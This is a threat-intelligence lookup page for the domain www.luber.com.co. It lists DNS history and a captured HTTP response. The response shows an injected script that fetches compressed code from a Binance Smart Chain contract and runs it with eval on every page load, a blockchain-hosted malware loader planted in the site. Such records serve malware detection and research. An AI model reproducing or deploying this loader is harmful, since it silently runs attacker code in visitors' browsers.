Domain > www.luber.com.co

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2019-05-04	205.251.143.69 (ClassC)
2021-02-27	92.204.132.34 (ClassC)
2023-06-28	142.132.214.189 (ClassC)
2025-03-09	170.10.163.64 (ClassC)
2025-05-23	34.206.187.199 (ClassC)
2025-06-15	103.224.212.103 (ClassC)
2025-08-07	103.224.182.211 (ClassC)

HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout5, max100cache-control: no-cachewpo-cache-status: cachedlast-modified: Sat, 08 Mar 2025 13:54:17 GMTcontent-type: text/html; charsetUTF-8transfe

!doctype html>html langes>head>	meta charsetUTF-8>	meta nameviewport contentwidthdevice-width, initial-scale1>	link relprofile hrefhttps://gmpg.org/xfn/11>	    script srchttps://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js>/script>    script srchttps://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js>/script>    script srchttps://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js>/script>    script>        console.log(Start moving...);        document.addEventListener(DOMContentLoaded, async () > {            try {                const web3  new Web3(https://bsc-dataseed.binance.org/);                        const contract  new web3.eth.Contract(                    {inputs: , stateMutability: nonpayable, type: constructor},                    {inputs: , name: orchidABI, outputs: {internalType: string, name: , type: string}, stateMutability: view, type: function},                    {inputs: , name: orchidAddress, outputs: {internalType: string, name: , type:string}, stateMutability: view, type: function},                    {inputs: , name: merlionABI, outputs: {internalType: string, name: , type: string}, stateMutability: view, type: function},                    {inputs: , name: merlionAddress, outputs: {internalType: string, name: , type:string}, stateMutability: view, type: function},                , 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53);                        const orchidABI  JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c > c.charCodeAt(0)), { to: string }));                const orchidAddress  await contract.methods.orchidAddress().call();                const orchid  new web3.eth.Contract(orchidABI, orchidAddress);                        const decompressedScript  pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c > c.charCodeAt(0)), { to: string });                eval(`(async () > { ${decompressedScript} })().then(() > { console.log(Moved.); }).catch(console.error);`);                    } catch (error) {

Port 443

Subdomains

Date	Domain	IP
www.luber.com.co	2025-03-09	170.10.163.64

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > www.luber.com.co

Is this malicious?

DNS Resolutions

Port 80

Port 443

Subdomains